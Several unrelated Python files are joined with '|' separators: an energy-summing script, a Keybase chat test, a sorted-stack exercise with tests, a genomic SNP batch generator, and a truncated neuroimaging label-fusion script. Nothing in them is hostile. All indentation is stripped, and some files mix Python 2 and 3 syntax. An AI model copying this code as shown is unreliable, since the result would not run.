key: val / new_constr["annual total"][key] for key, val in
new_exist_frac["new"].items()}
# Cumulative existing fraction equals 1 - cumulative new fraction
new_exist_frac["existing"] = {key: (1 - val) for key, val in
new_exist_frac["new"].items()}
return new_exist_frac
def sum_htcl_energy(msegs, aeo_years, ss_conv):
""" Sum heating/cooling energy by climate, building, and structure.
Attributes:
msegs (dict): Baseline energy data to sum.
aeo_years (list): Modeling time horizon.
ss_conv (dict): Site-source energy conversions by fuel type.
Note:
Energy values are summed across a particular climate zone,
building type, and structure type combination. All energy values must
be converted to source energy and apportioned to the given structure
type, in order to be consistent with the ECM competition data these
data are later combined with in the analysis engine.
Returns:
Total energy by year associated with a given climate zone,
building type, and structure type combination.
"""
# Initialize dict for storing summed heating/cooling energy totals
htcl_totals = {}
# Loop through all climate zone, building type, and structure type
# combinations and sum the energy values associated with each
for cz in msegs.keys():
htcl_totals[cz] = {}
for bldg in msegs[cz].keys():
htcl_totals[cz][bldg] = {}
# Find new vs. existing structure type fraction for bldg. type
new_exist_frac = set_new_exist_frac(
msegs[cz][bldg], aeo_years, bldg)
for vint in new_exist_frac.keys():
htcl_totals[cz][bldg][vint] = {
yr: 0 for yr in aeo_years}
# Sum energy values across remaining fuel type and end use
# levels in the baseline energy data dict
for fuel in msegs[cz][bldg].keys():
for eu in [x for x in [
"heating", "secondary heating", "cooling"] if
x in msegs[cz][bldg][fuel].keys()]:
# Find energy value to add to total
sum_val = sum_htcl_branches(
msegs[cz][bldg][fuel][eu]["demand"],
adj_frac={yr: new_exist_frac[vint][yr] *
ss_conv[fuel][yr] for yr in aeo_years},
sum_val={yr: 0 for yr in aeo_years})
# Update total energy for given climate,
# building and structure type combination
htcl_totals[cz][bldg][vint] = {
yr: htcl_totals[cz][bldg][vint][yr] +
sum_val[yr] for yr in aeo_years}
return htcl_totals
def main():
""" Import JSON energy data and sum by climate, building, and structure."""
# Instantiate useful input files object
handyfiles = UsefulInputFiles()
# Instantiate useful variables
handyvars = UsefulVars(base_dir, handyfiles)
# Import baseline microsegment stock and energy data
with open(path.join(base_dir, *handyfiles.msegs_in), 'r') as msi:
try:
msegs = json.load(msi)
except ValueError as e:
raise ValueError(
"Error reading in '" +
handyfiles.msegs_in + "': " + str(e)) from None
# Find total heating and cooling energy use for each climate zone,
# building type, and structure type combination
htcl_totals = sum_htcl_energy(
msegs, handyvars.aeo_years, handyvars.ss_conv)
# Write out summed heating/cooling energy data
with open(path.join(base_dir, *handyfiles.htcl_totals), 'w') as jso:
json.dump(htcl_totals, jso, indent=2)
if __name__ == '__main__':
# Set current working directory
base_dir = getcwd()
main()
|
import keybasechat
import pytest
import pprint
class TestClass():
@pytest.fixture(scope="class")
def init_client(self):
self.client = keybasechat.KeybaseCmdWrapper()
def get_conversations(self):
self.init_client()
return self.client.list_conversation_sync()
def test_read_msg_list(self):
conversationlist = self.get_conversations()
assert len(conversationlist.conversations)>1
def test_read_conversation(self):
conversationlist = self.get_conversations()
conversation = conversationlist.conversations[0]
assert conversation.id
|
import unittest
from stack import Stack
"""
3.5 Sort Stack
Write a program to sort a stack such that the smallest items are
on the top. You can use an additional temporary stack, but you
may not copy the elements into any other data structure (such as
an array). The stack supports the following operations: push, pop,
peek, and isEmpty.
"""
class SortedStack(Stack):
def __init__(self):
super().__init__()
self.temp_stack = Stack()
# if the current popped value is greater than the top of the sorted value,
# pop and put all the values in the sorted stack that is smaller than the
# current value to the original stack, push the current value, put back
# the sorted values
def push(self, value):
if self.is_empty() or value < self.peek():
super().push(value)
else:
# pop the stack values unto temp_stack
while not self.is_empty() and value > self.peek():
self.temp_stack.push(self.pop())
super().push(value)
# pop the temp_stack back to stack
while not self.temp_stack.is_empty():
super().push(self.temp_stack.pop())
def convert_array_to_stack(array):
s = Stack()
for value in array:
s.push(value)
return s
class Test(unittest.TestCase):
def test_push_one(self):
s = SortedStack()
s.push(1)
assert len(s) == 1
def test_push_two(self):
s = SortedStack()
s.push(1)
s.push(2)
assert len(s) == 2
def test_push_three(self):
s = SortedStack()
s.push(1)
s.push(2)
s.push(3)
assert len(s) == 3
def test_pop_one(self):
s = SortedStack()
s.push(1)
assert s.pop() == 1
def test_pop_two(self):
s = SortedStack()
s.push(1)
s.push(2)
assert s.pop() == 1
assert s.pop() == 2
def test_pop_three(self):
s = SortedStack()
s.push(1)
s.push(2)
s.push(3)
assert s.pop() == 1
assert s.pop() == 2
assert s.pop() == 3
def test_push_mixed(self):
s = SortedStack()
s.push(1)
s.push(2)
s.push(4)
s.push(3)
s.push(5)
assert s.pop() == 1
assert s.pop() == 2
assert s.pop() == 3
assert s.pop() == 4
assert s.pop() == 5
if __name__ == "__main__":
unittest.main()
|
from tensorflow.keras.utils import Sequence
import pandas as pd
import numpy as np
import random
import math
import pysam
from ..util import *
import threading
import pickle
import pdb
#generate batches of SNP data with specified allele column name and flank size
class SNPGenerator(Sequence):
def __init__(self,
bed_path,
chrom_col,
pos_col,
allele_col,
flank_size,
ref_fasta,
rsid_col=None,
compute_gc=False,
batch_size=1000,
expand_dims=True):
self.bed_path=bed_path
self.bed=pd.read_csv(self.bed_path,header=0,sep='\t')
self.num_snps=self.bed.shape[0]
self.chrom_col=chrom_col
self.pos_col=pos_col
self.allele_col=allele_col
self.flank_size=flank_size
self.rsid_col=rsid_col
self.compute_gc=compute_gc
self.batch_size=batch_size
self.ref_fasta=ref_fasta
self.batch_size=batch_size
self.ref_fasta=ref_fasta
self.batch_size=batch_size
self.lock=threading.Lock()
self.expand_dims=expand_dims
def __getitem__(self,idx):
with self.lock:
self.ref=pysam.FastaFile(self.ref_fasta)
cur_entries=self.bed.iloc[idx*self.batch_size:min([self.num_snps,(idx+1)*self.batch_size])]
seqs=[]
gc=[]
rsids=[]
for index,entry in cur_entries.iterrows():
cur_chrom=str(entry[self.chrom_col])
if cur_chrom.startswith('chr')==False:
cur_chrom='chr'+cur_chrom
cur_pos=entry[self.pos_col]
left_flank_start=max([0,cur_pos-self.flank_size])
left_flank_end=cur_pos
snp_allele=entry[self.allele_col]
try:
if len(snp_allele)>1:
snp_allele=snp_allele[0]
except:
print(entry)
raise Exception()
right_flank_start=cur_pos+1
right_flank_end=cur_pos+self.flank_size
left_flank=self.ref.fetch(cur_chrom,left_flank_start,left_flank_end)
right_flank=self.ref.fetch(cur_chrom,right_flank_start,right_flank_end)
cur_seq=left_flank+snp_allele+right_flank
assert(len(cur_seq)==2*self.flank_size)
seqs.append(cur_seq)
if self.compute_gc==True:
cur_gc=self.compute_gc_func(cur_seq)
gc.append(cur_gc)
if self.rsid_col is not None:
rsids.append(entry[self.rsid_col])
else:
rsids.append(index)
index+=1
seqs=np.array([[ltrdict.get(x,[0,0,0,0]) for x in seq] for seq in seqs])
if self.expand_dims==True:
seqs=np.expand_dims(seqs,axis=1)
if self.compute_gc==False:
return [rsids,seqs]
else:
gc=np.expand_dims(np.asarray(gc),axis=1)
return [rsids,[seqs,gc]]
def compute_gc_func(self,seq):
seq=seq.lower()
g_count=seq.count('g')
c_count=seq.count('c')
seq_len=len(seq)
return (g_count+c_count)/seq_len
def __len__(self):
return math.ceil(self.num_snps/self.batch_size)
|
import os
import argparse
from pickle import load
import numpy as np
from subprocess import call
import sys
from shutil import rmtree
from copy import copy
from scheduler import Launcher
#
# PATHS
#
code_dir = os.path.join(os.environ['HOME'], 'CODE', 'src')
warptotemplate_path = os.path.join(code_dir, 'nimg-scripts', 'warp_to_template.py')
warpatlasestotarget_path = os.path.join(code_dir, 'nimg-scripts', 'warp_atlases_to_target.py')
maskout_path = os.path.join(code_dir, 'nimg-scripts', 'maskout.py')
imagemath_path = os.path.join(os.environ['ANTSPATH'], 'ImageMath')
# imagemath_path = os.path.join('home', 'sanromag', 'Programs', 'ANTs', 'build', 'bin', 'ImageMath')
pblf_path = os.path.join(code_dir, 'nimg-scripts', 'pblf.py')
#
# Label Fusion function
#
# # NEED TO WAIT FOR JOINING RESULTING LABELS (if join_labels==True) not possible to set it False from python script (only calling function)
# # In case joining labels, need to set job_id to the joining job
def label_fusion(launcher, target_path, atlas_img_path_list, atlas_lab_path_list, out_file, probabilities, method, metric,
target_mask_path=None, patch_rad=None, search_rad=None, fusion_rad=None, struct_sim=None, patch_norm=None,
params_list=None, joint_alpha=None, joint_beta=None, joint_metric=None, parallel_label_superlist=None,
num_itk_threads=None, target_lab_4_metrics=None):
out_dir = os.path.dirname(out_file)
out_name = os.path.basename(out_file).split(os.extsep, 1)[0]
# target_tmp_dir = os.path.join(out_dir, out_name)
if method == 'joint' or (method == 'majvot' and not probabilities):
if method == 'joint':
jointfusion_path = os.path.join(os.environ['ANTSPATH'], 'antsJointFusion')
cmdline = ['ITK_GLOBAL_DEFAULT_NUMBER_OF_THREADS=%d' % num_itk_threads, jointfusion_path]
cmdline.extend(['-d', '3'])
cmdline.extend(['-t', target_path])
cmdline.extend(['-g'] + atlas_img_path_list)
cmdline.extend(['-l'] + atlas_lab_path_list)
if target_mask_path is not None:
cmdline.extend(['-x', target_mask_path])
# cmdline.extend(['-m', 'Joint'])
if patch_rad is not None: cmdline.extend(['-p', patch_rad])
if search_rad is not None: cmdline.extend(['-s', search_rad])
if joint_alpha is not None: cmdline.extend(['-a', '%f' % joint_alpha])
if joint_beta is not None: cmdline.extend(['-b', '%f' % joint_beta])
if joint_metric is not None: cmdline.extend(['-m', joint_metric])
if probabilities:
prob_path = os.path.join(out_dir, out_name + '_prob%d.nii.gz')
int_path = os.path.join(out_dir, out_name + '_int%d.nii.gz')
cmdline.extend(['-o [%s,%s,%s]' % (out_file, int_path, prob_path)])
else:
cmdline.extend(['-o', out_file])
elif method == 'majvot':
cmdline = ['ITK_GLOBAL_DEFAULT_NUMBER_OF_THREADS=%d' % num_itk_threads, imagemath_path, '3', out_file, 'MajorityVoting'] + atlas_lab_path_list
# launch
launcher.add(out_name, ' '.join(cmdline), out_dir)
launcher.run(out_name)
elif method == 'nlwv' or method == 'lasso' or method == 'nlbeta' or method == 'myjoint' or method == 'deeplf' or (method == 'majvot' and probabilities):
cmdline = ['python', '-u', pblf_path]
cmdline.extend(['--atlas_img_list'] + atlas_img_path_list)
cmdline.extend(['--target_img', target_path])
cmdline.extend(['--atlas_lab_list'] + atlas_lab_path_list)
cmdline.extend(['--method', method])
cmdline.extend(['--metric', metric])
if method == 'nlwv' or method == 'lasso' or method == 'nlbeta' or method == 'myjoint' or method == 'deeplf':
cmdline.extend(['--search_radius', search_rad])
cmdline.extend(['--fusion_radius', fusion_rad])
cmdline.extend(['--struct_sim', '%f' % struct_sim])
if method == 'nlwv' or method == 'lasso' or method == 'nlbeta' or method == 'myjoint':
cmdline.extend(['--patch_radius', patch_rad])
cmdline.extend(['--normalization', patch_norm])
if parallel_label_superlist is not None: # TO BE UPDATED WITH ALL THE STUFF ADDED TO THE ELSE CASE
#
# Parallel execution
# if not os.path.exists(target_tmp_dir): os.makedirs(target_tmp_dir)
assert len(params_list) == 1 or len(params_list) == len(parallel_label_superlist)
for i, label_list in enumerate(parallel_label_superlist):
cmdline_aux = copy(cmdline)
cmdline_aux.extend(['--label_grp'] + ['%d' % label_id for label_id in label_list])
if method == 'nlwv' or method == 'lasso' or method == 'nlbeta' or method == 'myjoint':
cmdline_aux.extend(['--regularization', '%f' % (params_list[i] if len(params_list) > 1 else params_list[0])])
elif method == 'deeplf':
cmdline_aux.extend(['--load_net', '%s' % (params_list[i] if len(params_list) > 1 else params_list[0])])
if probabilities: cmdline_aux.extend(['--prob_suffix_pattern', '_prob%d.nii.gz'])
if target_lab_4_metrics is not None: cmdline_aux.extend(['--classification_metrics', '%s' % target_lab_4_metrics])
cmdline_aux.extend(['--out_file', os.path.join(out_dir, '%s_grp%d.nii.gz' % (out_name, i))])
# cmdline_aux.extend(['--out_file', os.path.join(target_tmp_dir, 'label%d.nii.gz' % label_id)])
# launch
out_name_aux = '%s_g%d' % (out_name, i)
launcher.add(out_name_aux, ' '.join(cmdline_aux), out_dir)
launcher.run(out_name_aux)
else:
#
# Normal execution
# assert len(params_list) == 1
if method == 'nlwv' or method == 'lasso' or method == 'nlbeta' or method == 'myjoint':
cmdline.extend(['--regularization', '%f' % (params_list[0])])
elif method == 'deeplf':
cmdline.extend(['--load_net', '%s' % (params_list[0])])
if probabilities: cmdline.extend(['--prob_suffix_pattern', '_prob%d.nii.gz'])
if target_lab_4_metrics is not None: cmdline.extend(['--classification_metrics', '%s' % target_lab_4_metrics])
cmdline.extend(['--out_file', out_file])
# launch
launcher.add(out_name, ' '.join(cmdline), out_dir)
launcher.run(out_name)
return launcher
def atlas_selection(args_atsel, target_names, atlas_names, is_loo=False):
print('Reading scores for atlas selection')
# load scores file
f = open(args_atsel[1], 'r')
in_dir, in_files_list, in2_dir, in2_files_list, scores_aux = load(f)
f.close()
s_target_names = [f.split(args_atsel[2])[0] for f in in_files_list]
s_atlas_names = [f.split(args_atsel[3])[0] for f in in2_files_list]
assert set(target_names).issubset(set(s_target_names)), "Image filenames are not subset of score filenames"
if not is_loo:
assert set(atlas_names).issubset(set(s_atlas_names)), "Atlas filenames are not subset of score filenames"
Ntar, Natl = len(target_names), len(atlas_names)
scores = np.zeros((Ntar, Natl), dtype=np.float32)
for i_t in range(Ntar):
i2_t = [i for i, f in enumerate(s_target_names) if target_names[i_t] == f][0]
for i_a in range(Natl):
if is_loo and target_names[i_t] == atlas_names[i_a]:
continue
i2_a = [i for i, f in enumerate(s_atlas_names) if atlas_names[i_a] == f][0]
scores[i_t, i_a] = scores_aux[i2_t, i2_a]
return np.argsort(scores, axis=1)[:, :-int(args_atsel[0]) - 1:-1]
def get_label_fusion_params(target_dir, target_img_suffix, target_mask_suffix=None, reg_dir=None, reg_img_suffix=None, reg_lab_suffix=None, args_atsel=None):
files = os.listdir(target_dir)
target_img_list = [f for f in files if f.endswith(target_img_suffix)]
target_name_list = [f.split(target_img_suffix)[0] for f in target_img_list]
target_path_list = [os.path.join(target_dir, f) for f in target_img_list]
assert target_img_list, 'No target image found'
target_mask_list = None
if target_mask_suffix is not None:
target_mask_list = [f.split(target_img_suffix)[0] + target_mask_suffix for f in target_img_list]
atlas_dir_list = [os.path.join(reg_dir, f.split(target_img_suffix)[0]) for f in target_img_list]
atlas_img_path_superlist, atlas_lab_path_superlist = [], []
for i, atlas_dir in enumerate(atlas_dir_list):
files = os.listdir(atlas_dir)
atlas_img_list = [f for f in files if f.endswith(reg_img_suffix)]
assert atlas_img_list, 'No atlas image found'
atlas_name_list = [f.split(reg_img_suffix)[0] for f in atlas_img_list]
atlas_idx = np.array(range(len(atlas_name_list)))
if args_atsel is not None:
atlas_idx = atlas_selection(args_atsel, [target_name_list[i]], atlas_name_list)[0]
# print('atlas dir: %s, atlas idx %s' % (atlas_dir, atlas_idx))
# print('atlas_name_list: %s' % atlas_name_list)
atlas_img_path_list = [os.path.join(atlas_dir, atlas_img_list[j]) for j in atlas_idx]
atlas_lab_path_list = [os.path.join(atlas_dir, atlas_name_list[j]) + reg_lab_suffix for j in atlas_idx]
#
#
# assert False not in [os.path.exists(f) for f in atlas_lab_path_list]
# THIS IS TO AVOID THE SCRIPT STOPPING BECAUSE ONE STUPID LABEL FILE DID NOT WARP, but should be checked what happened
idx_list = [j for j, f in enumerate(atlas_lab_path_list) if not os.path.exists(f)]
for idx in sorted(idx_list, reverse=True):
print '****** LABEL FOR %s DOES NOT EXIST ****** ' % atlas_img_path_list[idx]
del atlas_img_path_list[idx]
del atlas_lab_path_list[idx]
#
#
#
atlas_img_path_superlist.append(atlas_img_path_list)
atlas_lab_path_superlist.append(atlas_lab_path_list)
return (target_name_list, target_path_list, atlas_img_path_superlist, atlas_lab_path_superlist, target_mask_list)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Segments target images with label fusion methods.\n'
'Atlas parameters are optional. In not given, then leave-one-out\n'
'label fusion is done among target images (target labels must be given).\n'
'Patch size and search radius can be specified')
# COMMON ARGUMENTS
parser.add_argument("--target_dir", type=str, nargs=1, required=True, help='directory of target images')
parser.add_argument("--target_img_suffix", type=str, nargs=1, required=True, help='image suffixes')
parser.add_argument("--target_lab_suffix", type=str, nargs=1, help="(optional) in case leave-one-out label fusion")
parser.add_argument("--target_mask_suffix", type=str, nargs=1, help="(optional) suffix of mask where to perform label fusion")
parser.add_argument("--labfus_dir", type=str, nargs=1, help='(optional) directory to store label fusion results')
parser.add_argument("--atlas_selection", type=str, nargs=4, help="(optional) number of atlases, scores file, "
"suffix inside scores file for target, idem for atlas")
parser.add_argument("--out_reg_dir", type=str, nargs=1, required=True, help='registrations directory')
parser.add_argument("--num_procs", type=int, nargs=1, default=[8], help='number of concurrent processes ')
# ONLY IF OUT_REG_DIR EXISTS
parser.add_argument("--reg_img_suffix", type=str, nargs=1, help='if out_reg_dir exists, suffix of warped img files')
parser.add_argument("--reg_lab_suffix", type=str, nargs=1, help='if out_reg_dir exists, suffix of warped label files')
# ONLY IF OUT_REG_DIR DOES NOT EXIST
parser.add_argument("--target_reg_dir", type=str, nargs=1, help='directory with target transformations to template space')
parser.add_argument("--target_linear_intfix", type=str, nargs=1, help="intfix of the input linear transform")
parser.add_argument("--target_deform_intfix", type=str, nargs=1, help="(optional) intfix of the input deformation field")
parser.add_argument("--atlas_dir", type=str, nargs=1, help="(optional) in case not LOO provide atlas directory")
parser.add_argument("--atlas_img_suffix", type=str, nargs=1, help="(optional) same as target_img_suffix if not provided")
parser.add_argument("--atlas_lab_suffix", type=str, nargs=1, help="(optional) same as target_lab_suffix if not provided")
parser.add_argument("--atlas_reg_dir", type=str, nargs=1, help="(optional) same as target_reg_dir if not provided")
parser.add_argument("--atlas_linear_intfix", type=str, nargs=1, help="(optional) same as target_linear_intfix if not provided")
parser.add_argument("--atlas_deform_intfix", type=str, nargs=1, help="(optional) same as target_deform_intfix if not provided")
parser.add_argument("--template_file", type=str, nargs=1, help="(optional) do label fusion in template space")
parser.add_argument("--keep_reg_dir", action="store_true", help='keep temp directory (for debug)')
parser.add_argument("--maskout_reg_files", action="store_true", help='maskout registered images with target_mask (to save space)')
# LABFUS ARGUMENTS
parser.add_argument("--target_parallelism", action="store_true", help="parallelize label fusion along target images (faster but takes more disk space) (use only when small number of targets/atlases)")
parser.add_argument("--probabilities", action="store_true", help="compute segmentation probabilities")
parser.add_argument("--float", action="store_true", help='use single precision computations')
parser.add_argument("--num_itk_threads", type=int, nargs=1, default=[1], help='number of threads per ANTs proc ')
parser.add_argument("--patch_rad", type=str, nargs=1, help="patch radius #x#x# (joint, nlwv, lasso, nlbeta, deeplf)")
parser.add_argument("--search_rad", type=str, nargs=1, help="search radius #x#x# (joint, nlwv, lasso, nlbeta, deeplf)")
parser.add_argument("--fusion_rad", type=str, nargs=1, help="fusion radius #x#x# (nlwv, lasso, nlbeta, deeplf)")
parser.add_argument("--struct_sim", type=float, nargs=1, help="structural similarity threshold (nlwv, lasso, nlbeta, deeplf)")
parser.add_argument("--patch_norm", type=str, nargs=1, help="patch normalization [zscore | l2 | zl2 | none] (nlwv, lasso, nlbeta, myjoint, deeplf)")
parser.add_argument("--metric", type=str, nargs=1, default=['sqeuclidean'], help="metric for patch comparisons (default sqeuclidean)")
parser.add_argument("--nlwv_suffix", type=str, nargs=1, help="nlwv suffix to be added to the target image name without target_img_suffix")
parser.add_argument("--nlwv_h_list", type=float, nargs='+', default=[0.01], help="std (nlwv)")
parser.add_argument("--lasso_suffix", type=str, nargs=1, help="lasso suffix to be added to the target image name without target_img_suffix")
parser.add_argument("--lasso_lbd_list", type=float, nargs='+', default=[0.001], help="sparsity (lasso)")
parser.add_argument("--nlbeta_suffix", type=str, nargs=1, help="nlbeta suffix to be added to the target image name without target_img_suffix")
parser.add_argument("--nlbeta_b_list", type=float, nargs='+', default=[0.1], help="scale (nlbeta)")
# parser.add_argument("--nlbeta_with_deeplf_parms", action="store_true", help="get nlbeta params from deep net label fusion params")
parser.add_argument("--deeplf_suffix", type=str, nargs=1, help="deeplf suffix to be added to the target image name without target_img_suffix")
parser.add_argument("--deeplf_net_list", type=str, nargs='+', help="network files (deeplf)")
parser.add_argument("--myjoint_suffix", type=str, nargs=1, help="myjoint suffix to be added to the target image name without target_img_suffix")
parser.add_argument("--myjoint_h_list", type=float, nargs='+', default=[3.0], help="param (myjoint)")
parser.add_argument("--joint_suffix", type=str, nargs=1, help="joint suffix to be added to the target image name without target_img_suffix")
parser.add_argument("--joint_alpha", type=float, nargs=1, help="value for alpha in joint label fusion")
parser.add_argument("--joint_beta", type=float, nargs=1, help="value for alpha in joint label fusion")
parser.add_argument("--joint_metric", type=str, nargs=1, help="similarity metric in joint label fusion: PC (pearson, default), MSQ (mean squares)")
parser.add_argument("--majvot_suffix", type=str, nargs=1, help="majvot suffix to be added to the target image name without target_img_suffix")
# parser.add_argument("--staple_suffix", type=str, nargs=1, help="staple suffix to be added to the target image name without target_img_suffix")
parser.add_argument("--parallel_labels_list", action='append', type=int, nargs='+', help="(append) list of labels to be paired with parameter list")
args = parser.parse_args()
# args = parser.parse_args('--target_dir /home/sanromag/DATA/OB/data_partitions/kk/ '
# '--target_img_suffix _t2.nii.gz '
# '--target_lab_suffix _OBV.nii.gz '
# '--target_mask_suffix _mask.nii.gz '
# '--atlas_selection 15 /home/sanromag/DATA/OB/templates/NormCorr_S3mXtpl.dat _t2_S3mXtpl_Warped.nii.gz _t2_S3mXtpl_Warped.nii.gz '
# '--out_reg_dir /home/sanromag/DATA/OB/data_partitions/reg_S3m '
# '--reg_img_suffix _t2Warped.nii.gz '
# '--reg_lab_suffix _OBVWarped.nii.gz '
# '--keep_reg_dir '
# '--num_procs 5 '
# '--target_parallelism '
# '--float '
# '--patch_rad 2x2x2 '
# '--search_rad 1x1x1 '
# '--joint_suffix _joint.nii.gz '
# '--joint_alpha 1e-7 '
# '--joint_beta 4.0 '
# '--labfus_dir /home/sanromag/DATA/OB/labfus/kk '.split())
# Check if reg dir exists
reg_dir_exists = False
if os.path.exists(args.out_reg_dir[0]):
reg_dir_exists = True
do_labfus_using_existing_regdir = reg_dir_exists and args.reg_img_suffix is not None and args.reg_lab_suffix is not None
if do_labfus_using_existing_regdir:
# if want to use existing regdir -> gather filenames
target_mask_suffix = None
if args.target_mask_suffix is not None:
target_mask_suffix = args.target_mask_suffix[0]
aux = get_label_fusion_params(args.target_dir[0], args.target_img_suffix[0], target_mask_suffix, args.out_reg_dir[0],
args.reg_img_suffix[0], args.reg_lab_suffix[0], args.atlas_selection)
target_name_list, target_path_list, atlas_img_path_superlist, atlas_lab_path_superlist, target_mask_files = aux
Ntar = len(target_name_list)
# print('NUMBER OF TARGETS %d' % (Ntar))
# print('%s' % (target_name_list))
# exit()
else:
#
# else -> create and warp everything
if not reg_dir_exists: os.makedirs(args.out_reg_dir[0])
files_list = os.listdir(args.target_dir[0])
target_img_files = [f for f in files_list if f.endswith(args.target_img_suffix[0])]
assert target_img_files, "List of target files is empty"
Ntar = len(target_img_files)
if args.target_lab_suffix is not None:
target_lab_files = [f.split(args.target_img_suffix[0])[0] + args.target_lab_suffix[0] for f in target_img_files]
assert False not in [os.path.exists(os.path.join(args.target_dir[0], f)) for f in target_lab_files], "Some target label file not found"
if args.target_mask_suffix is not None:
target_mask_files = [f.split(args.target_img_suffix[0])[0] + args.target_mask_suffix[0] for f in target_img_files]
assert False not in [os.path.exists(os.path.join(args.target_dir[0], f)) for f in target_mask_files], "Some target mask file not found"
is_loo = False
if args.atlas_dir is not None:
files_list = os.listdir(args.atlas_dir[0])
atlas_dir = args.atlas_dir[0]
atlas_img_suffix = args.atlas_img_suffix[0] if args.atlas_img_suffix is not None else args.target_img_suffix[0]
atlas_lab_suffix = args.atlas_lab_suffix[0] if args.atlas_lab_suffix is not None else args.target_lab_suffix[0]
atlas_reg_dir = args.atlas_reg_dir[0] if args.atlas_reg_dir is not None else args.target_reg_dir[0]
atlas_linear_intfix = args.atlas_linear_intfix[0] if args.atlas_linear_intfix is not None else args.target_linear_intfix[0]
atlas_deform_intfix = None
if args.atlas_deform_intfix is not None or args.target_deform_intfix is not None:
atlas_deform_intfix = args.atlas_deform_intfix[0] if args.atlas_deform_intfix is not None else args.target_deform_intfix[0]
atlas_img_files = [f for f in files_list if f.endswith(atlas_img_suffix)]
assert atlas_img_files, "List of atlas files is empty"
atlas_lab_files = [f.split(atlas_img_suffix)[0] + atlas_lab_suffix for f in atlas_img_files]
assert False not in [os.path.exists(os.path.join(args.atlas_dir[0], f)) for f in atlas_lab_files], "Some target label file not found"
Natl = len(atlas_img_files)
else:
print "Leave one out segmentation"
# print('target images: %s' % (target_img_files))
is_loo = True
atlas_img_files = target_img_files
atlas_lab_files = target_lab_files
Natl = Ntar
atlas_dir = args.target_dir[0]
atlas_img_suffix = args.target_img_suffix[0]
atlas_lab_suffix = args.target_lab_suffix[0]
atlas_reg_dir = args.target_reg_dir[0]
atlas_linear_intfix = args.target_linear_intfix[0]
atlas_deform_intfix = None
if args.target_deform_intfix is not None:
atlas_deform_intfix = args.target_deform_intfix[0]
#
# atlas selection
if args.atlas_selection is not None:
target_names = [f.split(args.target_img_suffix[0])[0] for f in target_img_files]
atlas_names = target_names
if not is_loo:
atlas_names = [f.split(atlas_img_suffix)[0] for f in atlas_img_files]
atlas_idx = atlas_selection(args.atlas_selection, target_names, atlas_names, is_loo)
else:
print('No atlas selection')
if is_loo:
atlas_idx = np.array([list(set(range(Ntar))-{i}) for i in range(Ntar)])
else:
atlas_idx = np.array([range(Natl),] * Ntar)
#
# if template file -> warp target & atlas to template
# Label fusion in template space
if args.template_file is not None:
cmdline = ['python', '-u', warptotemplate_path]
cmdline += ['--in_dir', args.target_dir[0]]
cmdline += ['--linear_suffix', args.target_img_suffix[0]]
if args.target_lab_suffix is not None:
cmdline += ['--nearest_suffix', args.target_lab_suffix[0]]
cmdline += ['--template_file', args.template_file[0]]
cmdline += ['--reg_dir', args.target_reg_dir[0]]
cmdline += ['--in_linear_intfix', args.target_linear_intfix[0]]
if args.target_deform_intfix is not None:
cmdline += ['--in_deform_intfix', args.target_deform_intfix[0]]
cmdline += ['--out_dir', args.out_reg_dir[0]]
cmdline += ['--out_suffix', '_Warped.nii.gz']
if args.float: cmdline += ['--float']
cmdline += ['--num_procs', '%d' % args.num_procs[0]]
print "Warping targets to template"
call(cmdline)
if not is_loo:
cmdline = ['python', '-u', warptotemplate_path]
cmdline += ['--in_dir', args.atlas_dir[0]]
cmdline += ['--linear_suffix', atlas_img_suffix]
cmdline += ['--nearest_suffix', atlas_lab_suffix]
cmdline += ['--template_file', args.template_file[0]]
cmdline += ['--reg_dir', atlas_reg_dir]
cmdline += ['--in_linear_intfix', atlas_linear_intfix]
if atlas_deform_intfix is not None:
cmdline += ['--in_deform_intfix', atlas_deform_intfix]
cmdline += ['--out_dir', args.out_reg_dir[0]]
cmdline += ['--out_suffix', '_Warped.nii.gz']
if args.float: cmdline += ['--float']
cmdline += ['--num_procs', '%d' % args.num_procs[0]]
print "Warping atlases to template"
call(cmdline)
#
# Loop over target images
#
launcher = Launcher(args.num_procs[0])
method_exists = False
for i_t in range(Ntar):
if do_labfus_using_existing_regdir:
# If want to do labfus with existing regdir -> pick params for current target file
target_name = target_name_list[i_t]
target_path = target_path_list[i_t]
atlas_img_path_list = atlas_img_path_superlist[i_t]
atlas_lab_path_list = atlas_lab_path_superlist[i_t]
target_mask_path = None
if args.target_mask_suffix is not None:
target_mask_path = os.path.join(args.target_dir[0], target_mask_files[i_t])
else:
target_name = target_img_files[i_t].split(args.target_img_suffix[0])[0]
# Label fusion in target space
if args.template_file is None:
#
# if reg dir doesnt exist and not in template space -> warp atlases to current target
target_reg_dir = os.path.join(args.out_reg_dir[0], target_name)
os.makedirs(target_reg_dir)
for i_a in atlas_idx[i_t]:
os.symlink(os.path.join(atlas_dir, atlas_img_files[i_a]), os.path.join(target_reg_dir, atlas_img_files[i_a]))
os.symlink(os.path.join(atlas_dir, atlas_lab_files[i_a]), os.path.join(target_reg_dir, atlas_lab_files[i_a]))
cmdline = ['python', '-u', warpatlasestotarget_path]
cmdline += ['--atlas_dir', target_reg_dir]
cmdline += ['--atlas_linear_suffix', atlas_img_suffix]
cmdline += ['--atlas_nearest_suffix', atlas_lab_suffix]
cmdline += ['--atlas_reg_dir', atlas_reg_dir]
cmdline += ['--atlas_linear_intfix', atlas_linear_intfix]
if atlas_deform_intfix is not None:
cmdline += ['--atlas_deform_intfix', atlas_deform_intfix]
cmdline += ['--target_file', os.path.join(args.target_dir[0], target_img_files[i_t])]
cmdline += ['--target_suffix', args.target_img_suffix[0]]
cmdline += ['--target_reg_dir', args.target_reg_dir[0]]
cmdline += ['--target_linear_intfix', args.target_linear_intfix[0]]
if args.target_deform_intfix is not None:
cmdline += ['--target_deform_intfix', args.target_deform_intfix[0]]
cmdline += ['--out_dir', target_reg_dir]
cmdline += ['--out_suffix', '_Warped.nii.gz']
if args.float: cmdline += ['--float']
cmdline += ['--num_procs', '%d' % args.num_procs[0]]
print "Warping atlases to target {}".format(target_img_files[i_t])
call(cmdline)
target_path = os.path.join(args.target_dir[0], target_img_files[i_t])
atlas_img_path_list = [os.path.join(target_reg_dir, atlas_img_files[i_a].split(os.extsep, 1)[0] + '_Warped.nii.gz') for i_a in atlas_idx[i_t]]
atlas_lab_path_list = [os.path.join(target_reg_dir, atlas_lab_files[i_a].split(os.extsep, 1)[0] + '_Warped.nii.gz') for i_a in atlas_idx[i_t]]
target_mask_path = None
if args.target_mask_suffix is not None:
target_mask_path = os.path.join(args.target_dir[0], target_mask_files[i_t])
# If there's target mask offer the option of masking out atlases to save space
if args.maskout_reg_files:
cmdline = ['python', '-u', maskout_path]
cmdline += ['--in_dir', target_reg_dir]
